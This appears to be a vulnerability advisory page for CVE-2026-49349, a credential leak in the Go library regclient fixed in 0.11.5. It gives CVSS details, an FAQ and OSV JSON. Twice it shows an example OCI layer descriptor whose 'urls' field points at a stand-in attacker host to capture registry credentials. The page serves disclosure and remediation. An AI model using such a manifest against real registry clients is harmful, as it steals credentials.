CVE-2026-49349: Github.com/regclient/regclient Regclient May Leak Authentication Credentials Vulnerability

MODERATE
Advisory Identifier: GHSA-qvqc-4c52-x6qp
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CVSS 6.8
CWE-522
Published
Advisory Summary

CVE-2026-49349 is a MODERATE (CVSS 6.8) regclient may leak authentication credentials vulnerability (CWE-522: Insufficiently Protected Credentials) affecting Github.com/regclient/regclient libraries in the Go ecosystem. The issue involves regclient may leak authentication credentials to external blob stores. Remediation is available by upgrading affected packages to version 0.11.5.

CVE-2026-49349 at a Glance

CVE Identifier CVE-2026-49349
GHSA Identifier GHSA-qvqc-4c52-x6qp
Severity MODERATE
CVSS v3.1 Base Score 6.8
CWE Classification CWE-522: Insufficiently Protected Credentials
Affected Product Github.com/regclient/regclient
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-49349

To remediate this vulnerability, upgrade all affected Github.com/regclient/regclient dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/regclient/regclient fixed: 0.11.5 
Upgrade github.com/regclient/regclient to 0.11.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

inspect dependencies for github.com/regclient/regclient

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-49349, inspect your project dependencies for Github.com/regclient/regclient:

inspect dependencies for github.com/regclient/regclient

Analyze the terminal output to locate any version of Github.com/regclient/regclient in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.11.5), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-522: Insufficiently Protected Credentials, where the product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval. In Github.com/regclient/regclient, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

Credentials for a registry may be inadvertently leaked to external servers. A prerequisite for this attack is a malicious registry server, a malicious blob store, or a registry that does not restrict the external URLs for foreign blobs. ## Example attack A malicious registry serves an OCI image manifest containing a layer descriptor with a `urls` field pointing to an attacker controlled host: ```json { "mediaType": "application/vnd.oci.image.layer.v1.tar+gzip", "digest": "sha256:...", "size": 1024, "urls": ["https://malicious.example.org/blobs/sha256/..."] } ``` When regclient fetches the image and the primary blob request to the registry fails, it falls back to the URLs in the layer descriptor. If the external server requests authentication, regclient would send the credentials for the original registry server. ## Timeline - 2026-05-25: Advisory submitted - 2026-05-26: Fix released ## Credit Theodoros Lampropoulos, Threat Detection Engineer, Odyssey Cyber Security

CVE-2026-49349 Affected Github.com/regclient/regclient Versions

1 component(s)
Fixed Versions:
0.11.5
Product / Package Ecosystem Affected Versions Fixed Version
github.com/regclient/regclient
golang/github.com/regclient/regclient
Go
< 0.11.5
0.11.5

References

GitHub Advisory / Wiki ADVISORY
https://github.com/regclient/regclient/security/advisories/GHSA-qvqc-4c52-x6qp
Github.com/regclient/regclient Source Repository REPOSITORY
https://github.com/regclient/regclient

Frequently Asked Questions

What is CVE-2026-49349?
CVE-2026-49349 is a security vulnerability in Github.com/regclient/regclient involving regclient may leak authentication credentials to external blob stores under CWE-522: Insufficiently Protected Credentials.
Which Github.com/regclient/regclient versions are affected?
Affected versions include releases prior to 0.11.5 across affected packages: github.com/regclient/regclient.
What version fixes CVE-2026-49349?
Upgrading to 0.11.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/regclient/regclient affected?
Yes, github.com/regclient/regclient is affected in releases prior to 0.11.5. Upgrade your dependency to 0.11.5 or later.
What is the CVSS score of CVE-2026-49349?
CVE-2026-49349 has a CVSS v3.1 base score of 6.8 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N.
What CWE is associated with CVE-2026-49349?
CVE-2026-49349 is classified under CWE-522: Insufficiently Protected Credentials (The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.).
How can I check Go dependencies for CVE-2026-49349?
Run the dependency tree command: 'inspect dependencies for github.com/regclient/regclient'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qvqc-4c52-x6qp",
  "modified" : "2026-06-26T22:43:31Z",
  "published" : "2026-06-26T22:43:31Z",
  "aliases" : [ "CVE-2026-49349" ],
  "summary" : "regclient may leak authentication credentials to external blob stores",
  "details" : "Credentials for a registry may be inadvertently leaked to external servers. A prerequisite for this attack is a malicious registry server, a malicious blob store, or a registry that does not restrict the external URLs for foreign blobs.\n\n## Example attack\n\nA malicious registry serves an OCI image manifest containing a layer descriptor with a `urls` field pointing to an attacker controlled host:\n\n```json\n{\n  \"mediaType\": \"application/vnd.oci.image.layer.v1.tar+gzip\",\n  \"digest\": \"sha256:...\",\n  \"size\": 1024,\n  \"urls\": [\"https://malicious.example.org/blobs/sha256/...\"]\n}\n```\n\nWhen regclient fetches the image and the primary blob request to the registry fails, it falls back to the URLs in the layer descriptor. If the external server requests authentication, regclient would send the credentials for the original registry server.\n\n## Timeline\n\n- 2026-05-25: Advisory submitted\n- 2026-05-26: Fix released\n\n## Credit\n\nTheodoros Lampropoulos, Threat Detection Engineer, Odyssey Cyber Security",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/regclient/regclient"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.11.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.11.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/regclient/regclient/security/advisories/GHSA-qvqc-4c52-x6qp"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/regclient/regclient"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-522" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-26T22:43:31Z",
    "nvd_published_at" : null
  }
}